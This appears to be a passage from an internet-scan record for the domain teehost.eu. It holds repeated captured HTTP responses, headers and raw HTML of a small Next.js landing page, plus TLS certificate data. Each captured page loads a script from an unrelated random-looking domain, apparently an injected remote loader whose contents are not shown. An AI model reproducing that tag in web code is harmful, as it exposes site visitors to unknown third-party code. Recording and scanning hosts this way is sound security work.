d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-12 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-11 21:24

    HTTP/1.1 200 OK
    Date: Sun, 11 Jan 2026 21:24:57 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=l0cZQx6nXmiuURnpZGlNtiMaTQAsIKQEPkmV7vFMwXggoZnKEzd%2FNO87Rg%2FkCCpLYmMz%2Bj7jvDsgUpKBfEGMepxjdWVVm6Yc5lQ%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bc77be1fa48f936-SIN
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-11 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-11 21:15

    HTTP/1.1 200 OK
    Date: Sun, 11 Jan 2026 21:15:03 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=WZcrt645NA1%2FqiZcXMFKVtfpRABHBXK3FfJUkHcGqlWAbGXWeF%2Fr5htjfxB5C3YJYGLjEnVeLWiMjqdw6r%2BmEkVVTIuHzZf%2FhkQ%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bc76d620fe75630-LHR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-11 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-10 21:30

    HTTP/1.1 200 OK
    Date: Sat, 10 Jan 2026 21:30:53 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Dw%2FM%2FJft0lX0ecC9n79T86Jqr7rx1kflsqd5ueziB%2FiGASIK74CmxoRkt2DHCtycBxZX9jtSNzyhuNQhll7tgsJecqfPnHOf"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bbf47329ebff5da-AMS
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-10 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-10 21:07

    HTTP/1.1 200 OK
    Date: Sat, 10 Jan 2026 21:07:23 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=1cOgJDXfLJHNrv0G8%2BauzRMmojD5I0Z0LCDsiImZ5YIM%2BHcdJXaNkzifCEyfdiJGH4aMkUEIfI57NYEwxCPgaV3nGxhXur0a7hs%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bbf24c7be0b1e26-FRA
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-10 by HttpPlugin
    Create report
teehost.eu*.teehost.eu
CN:
teehost.eu
Key:
ECDSA-256
Issuer:
WE1
Not before:
2026-01-13 16:57
Not after:
2026-04-13 17:55
teehost.eu*.teehost.eu
CN:
teehost.eu
Key:
ECDSA-256
Issuer:
WE1
Not before:
2025-11-15 16:34
Not after:
2026-02-13 17:31